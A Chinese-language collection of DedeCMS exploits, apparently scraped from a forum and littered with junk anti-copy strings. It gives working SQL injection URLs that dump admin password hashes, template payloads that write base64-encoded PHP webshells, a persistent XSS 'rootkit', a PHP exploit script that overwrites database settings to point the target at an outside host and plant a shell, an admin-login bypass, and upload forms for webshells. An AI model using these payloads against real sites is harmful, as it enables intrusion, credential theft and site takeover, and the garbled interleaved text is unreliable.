dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
- m( F( I* _$ e% G, H
$ j! I. q3 S/ \
& ^7 O, O6 ~/ Q  g! ]



2 e1 V% g7 O- t5 a: e" @

! C3 k7 q: F- R, I( i% @. jDedeCms v5.6 嵌入恶意代码执行漏洞
* V) U$ G( j- C注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
& F. b# G1 T5 ^1 ~3 r) J发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
: D4 S6 W* G* K' F  f8 b2 t+ A  E

/ w$ d! N- }6 z
: i7 H$ g% X- N7 S! G

. j$ b4 h$ T1 x& W$ U% P5 P

+ O- _% @- V0 U9 y8 q1 W
Dede 5.6 GBK SQL注入漏洞
, t4 q, r7 j8 D  bhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

" H4 x# R" ~* j; H  ?3 \* y& g
# p( t( L  G% L1 I% N5 ^
# k0 J9 A7 V* H: o/ ~4 U8 r5 i
6 q2 ]8 ?' O' s( g
* I( v: o5 Y; [+ M+ U9 ]
  B! W7 ^5 j) C% d" Z. D4 n/ X# {

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
. g2 o( h( e- s- Q1 U+ j; Xhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

* [/ k3 f/ Q/ x: T9 C; p
) R* D; _" w% ~% R

. R  o& L0 [% }; Q4 U8 Z/ U

& R1 B) H, {1 {9 @+ a6 w- u7 MDEDECMS 全版本 gotopage变量XSS漏洞
; D& h% f, J$ G5 p1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
& @( L( [4 ?" K% E& |
# S1 z+ k: _9 E4 N$ @
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

$ j5 T! x! s: W  j$ @: L
# J( @2 D5 m* Khttp://v57.demo.dedecms.com/dede/login.php
* ~- K# i3 k; a+ z; _
1 p( i! T) d5 v' a# w8 D9 K
( g8 E- b( g4 x7 Y; ocolor=Red]DeDeCMS(织梦)变量覆盖getshell
( R% {) ?5 o% `# H, A% h#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
  c; c" l( d! @- `) bDEDEcms Variable Coverage
3 A+ L+ g5 p! d7 @. XExploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
+ R) F* F  i5 s6 e, R  J7 V+ \1 fif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
1 I& M4 X* q1 t0 DExample:
php '.$argv[0].' www.site.com 1 old
  m4 q8 r. E( _; C; }5 b+---------------------------------------------------------------------------+
3 Q2 }# s( s. r3 S$ |1 C' G');
exit;
" z9 J- \* i9 X! ]}
( t( G5 m% b# f" y. l$url=$argv[1];
* P) g; k4 x) X$aid=$argv[2];
+ h. h) X0 y8 `, a1 F$path=$argv[3];
" E7 s$ N: y" n# i1 b$exp=Getshell($url,$aid,$path);
+ e& l  g$ L, U: e* u  fif (strpos($exp,"OK")>12){
4 E. m3 E5 G! C6 Vecho "
Exploit Success \n";
3 h. ]  q5 g% v( R6 R& qif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
: J- h; ^# ]" U4 s

if($aid==2)echo "
# t" `: P: _4 |/ U& sShell:".$url."/$path/fuck.php\n" ;

) A* h! T3 J# ?  P; \- i
if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

3 Q6 v# Q" a" j- G7 j# @) r5 B; R3 \+ O5 S
, d/ y, O5 V: I: Z) Y$ }}else{
. }) c* [. a& r; k& W# ~echo "
+ {2 [# @7 i& J; mExploit Failed \n";
  M' ^2 Q7 U* u' q2 m3 s7 N! v}
/ ?+ w$ h; e# T  @2 l. nfunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$ B; u& q: k* \  w+ r# {' i$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- A) {! A' x' B$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
  |  l& R& H0 E) Q$ j$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
' w$ y' w/ z$ U6 e$ock=fsockopen($host,$port);
/ q& {" U+ v6 h+ t1 j2 Yif (!$ock) {
% U$ P2 L: Z- b  Hecho "
* t/ ]% t0 U% T, ?- d- U, `No response from ".$host."\n";
  R6 o  d) l+ }4 B}
fwrite($ock,$data);
while (!feof($ock)) {
( A4 |9 b7 }, F* t* E7 x$exp=fgets($ock, 1024);
return $exp;
  h" a& ?/ E" {! t% @}
8 j$ k/ e+ E5 z% Q8 T}
# E+ i1 c6 x/ }
, Y( d# \- z! \6 k- p& I" F' g% j
?>




# L+ u* f% x7 e1 W' ?


/ F: k8 p: y8 o


DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
/ ?( m% ?3 ]7 P0 c6 s* T, c  y
  x! u, ?% b: z! c
3 }. o5 T2 L# x; o/ I  z把上面validate=dcug改为当前的验证码，即可直接进入网站后台
0 p) v1 H' ?, s# p; D  F, B% Q+ M
1 q6 _+ f2 J6 m# |
此漏洞的前提是必须得到后台路径才能实现
- [$ h; a" |- `' {+ E4 s3 y
) `) c4 U2 U: I& l: [' \
% l, z. n0 U. F* C5 I; s& c- C- ^


. l( I" T$ R( b9 C/ g! z
" W6 G6 v! M9 @



/ A3 c& ^  m3 N7 t- j+ F0 ^Dedecms织梦 标签远程文件写入漏洞
9 X0 Y/ {2 F1 j& A) C前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
5 N$ K+ M7 k3 N5 [+ b' ?  E- {
3 B. U4 \6 }0 o, o
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
- @  L; W# B# @- V" I, G% p6 I<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
1 d7 }4 k9 g( G& Z5 _0 G" [8 Q, \5 E+ G<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
) |- i! {; F4 \1 @. j6 E# k& ?; ~<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
, [- x5 e, s+ E+ W% y/ y<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
  f7 f/ M% x( I( E) p& ]3 L<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
$ |3 N9 j8 S3 L</form>
<script>
: D# y! [* A3 J, }! u1 o- Ufunction addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
* f5 C0 p( }1 `" z; D  a}
</script>

* }, a6 `/ _, o
: l: l9 h. z0 P$ O& Q) z# K

" e; k$ O- C% E9 s7 z& O2 t

7 y$ W: D/ t( q8 x5 C" H
+ }1 G# K2 j! w& H, {, ?% v& |


" r+ o6 A6 n$ W3 z$ i+ rDedeCms v5.6 嵌入恶意代码执行漏洞
; W$ v$ `1 U7 `) V7 o6 e注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
2 D5 U, V; e+ x6 x0 t" p8 V" U4 L生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
- V# u: ^+ ]8 z4 L$ @* K& ~" J注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
) e8 i' l9 D5 r! M6 S7 Ouploads/userup/2/12OMX04-15A.jpg
3 c" P2 f8 M7 D* u+ ]$ G1 [
* x- x; ~1 e1 G, Y; S
7 |9 j+ F" t$ N( l! f& _) b模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
  H7 ]9 w$ @8 C) h6 ?@fclose($fp);
{/dede:name}
% z8 C* q+ ~8 Q& J9 T2 修改刚刚发表的文章，查看源文件，构造一个表单：
5 `; r5 U( [0 W<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
, y" I9 Z$ A3 i, t; U: W: F<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
0 o1 E* Z$ D0 p- L. y<input type="hidden" name="channelid" value="1" />
+ Y+ R8 s6 {3 I' l+ D: U4 x<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


% \! ]$ [) [+ J4 H9 g) I1 z<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>


5 X/ T3 G4 d  p6 q% f8 R! E& r<div class="postForm">
<label>标题：</label>
6 B2 e! p- R+ I<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
" E& k, a, \& U/ Z
" ?+ q: [! K0 p' h+ k  y
7 B" L: Q7 T' d6 o5 T5 p8 t" a) l<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
! H$ F, s0 y# R5 z9 J6 _
+ t9 F4 r$ ?6 D) }" ]5 j3 s
) l; K( @- V2 ^. C% w( O<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

/ [  e0 x, Z, E1 G
<label>隶属栏目：</label>
; z) l: {# P7 D4 |, v; B<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
" C) ?$ N1 c1 z5 Z% g6 b5 _% K</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
2 N$ b/ @% @" w
; M% f0 ~1 c5 ?6 A
<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
2 @. D" M5 e" N7 B<option value='1' class='option3' selected>hahahha</option>
7 {6 Y7 ?6 A- f- Q/ S4 v, J</select>
( W! j5 x: v7 {4 `

; X4 `, w) ^* x6 t. b8 w0 E4 T<label>信息摘要：</label>
% p0 d1 @. h5 o3 L<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)


4 K8 ?& F7 ~6 A3 ^+ l/ {4 j<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
5 n/ ^0 Q% O. t. J3 v

<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
1 a9 ~+ h0 H5 a- }0 m<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
3 [! P- O- {  |, g& }0 s! G9 H</div>
& ~* T  |4 Y! d, x
3 ]- P. Z! [& s- E
<!-- 表单操作区域 -->
5 |. a" n9 W: J9 G1 [<h3 class="meTitle">详细内容</h3>
8 G9 c  l3 @+ n) c3 G( @* L

2 d! r% [$ Q1 z<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
/ }. k9 K  S# `, j) q' y

! V/ l9 z# F1 c4 W<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
9 H+ }: F3 {7 j) x<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

  i5 L$ b4 o, H- A7 X: g
' b9 ?$ X/ q9 x. d5 D<button class="button2" type="submit">提交</button>
( y, r8 g2 Q% v. O# i) }<button class="button2 ml10" type="reset">重置</button>
# ^& f+ }( I, ^2 L9 {* `- b</div>

7 }: P5 [, e  F7 ^$ `* e5 |. x4 h
</div>


</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
5 C* }7 i2 j. \0 n9 Hhttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
. v5 U, S  q7 w' b& J5 K



) |. M8 Z& d' ]- f0 {% g
% f* e$ M8 x: i# t5 _

$ X' e/ t0 F7 f2 H: v


. |$ J. v# }1 l3 E' k- j: g
1 I- t3 R/ U4 {# b( _% L
4 i9 }  ?" q, s; _% l% a- v7 bDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
# s% w, j6 Z+ u" u6 V* @Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
! Z: _# N! n/ [7 H{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
( {" T! H! `; R: V3 }/ u' c: p<input type="hidden" name="aid" value="7" />
3 ^7 J% W* R9 {) i<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
# |) z) O" h5 V' U7 u# l<input type="hidden" name="dopost" value="save" />
$ i% Q: J( h: o% H2 w& q) H<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
' P# ?: X/ \. }) c5 K3 u<button class="button2" type="submit" >更改</button>
</form>


+ q, L0 \9 \- t9 x构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
" N( P! L; `! \3 C9 t

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
/ U) h" N+ d" s4 R<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
1 [5 K7 ]$ m& |/ R( l$ a, e. G<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
3 r& E  w* i. `( z( T  B<option value='1' class='option3' selected=''>Test</option>
& D1 t: q9 O2 z8 F. i7 K9 I( {6 s<select name='mtypesid' size='1'>
0 u. c& F  q, H5 d) E4 g4 x" z4 Y* G7 `& {<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
' z% ]3 U/ G1 K/ Z<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>

3 e) G4 o8 q/ S; V! J- k. H
9 X6 R6 C* n$ s- d8 K2 c: S! e


7 F, S% Y5 d; j4 M
' _) {( w2 M% G/ T! @
& J3 u0 |# e0 `5 Q# k$ X+ y3 O( D


$ r$ [) \* U& ?  i/ @' ?
% N) P: ]' x! R& P
织梦(Dedecms)V5.6 远程文件删除漏洞
  Z8 J" |% b: e8 ?; @4 p; [http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
# W4 ~1 s8 w0 o# G2 O
! g' v1 d  d; B) u4 R
  I# V$ A; Y1 w) [7 V






3 n5 W! |& ^$ x! Q9 ~- `' ^3 I
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
1 Z$ I6 u  U! G! |" c  ]
0 j# _( {) w6 t! k


4 Q2 ]! x9 u" Y+ }7 w, y


" n9 u1 ]& Q% s9 [
! M& s8 Z0 i, X
3 R' f1 g1 J# U( Y. C4 e( g
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
. P$ E9 s* l5 u' @. E& S  u. l


- c4 H2 _: t( @, a0 J

% u( q/ {0 a/ {( A& T



$ ], Y! F" O3 I# l
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

+ s5 H1 v, @# R

4 U8 ^8 A1 N+ y. a6 T
9 ?! F# a; Q) F$ A
; R# y2 i0 V! a9 I9 z


' s  |- H( q- y0 {7 F9 B/ ]

. E& J; _0 m  @+ c0 F3 d0 a" Z织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
6 |- J+ a' Z0 U. ]. F2 z<html>
<head>
, k* e% U3 S* T! u) i6 A2 k  i<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
, H9 A; T6 k" {% }* F6 i</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
3 N! V7 t  K# H<input type='hidden' name='cfg_basedir' value='../../' />
* G( Q! C; v, |$ N# Z2 c% F<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
* C+ Q2 |  B  \  N: J<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
! u+ Q0 ^: C: [  w5 o# F<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
* y0 H! p6 e4 gSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
4 o8 h0 O+ e9 b% B</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
- d/ U) ^2 [+ v, i9 f  K0 i( z4 q. DNeed register_globals = on...<br />
2 Q2 O5 [* n2 i3 XFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>


+ D  E" o$ K. H# p' h4 S3 b2 W- ~
5 g! e6 Y, Q: [* |2 s/ @



# c4 T2 G7 m7 V7 p1 }  i. m9 K

4 `; H$ q. m6 Y- i) X) C1 f2 F6 ~- R) `
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
% b9 |# p# S, z* h利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
. t; R2 {; Y" Y  m9 F  ]% C& Ahttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
5 C* |* F, M1 `1 h# g3 [
& Q2 R" r( A: G5 E9 x4 {- c
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
5 h! o" [% l$ eint(3) Error: Illegal double '1024e1024' value found during parsing
/ u* p( L/ h7 B8 SError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
1 w( P( O6 t( u8 Z
) b/ O0 }6 |+ D" E: v1 }  y3 T/ a
3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
  Q" s5 i9 Q1 N' {+ @" B
0 q% y( D5 ^1 C5 O2 \
0 v; o+ R- b5 {  C- j: _" m按确定后的看到第2步骤的信息表示文件木马上传成功.
: T3 _8 V) h/ s- h8 B% I3 j. C






# P! h6 t  `; i+ R% q
5 o( j" S9 h! t6 o) j9 W* z( ^/ L
0 ]9 O. e* C, w+ M; [9 Y" w; D% ~
, W" J, O( u! o, I

! k+ h$ O1 L' d1 T% E/ E织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*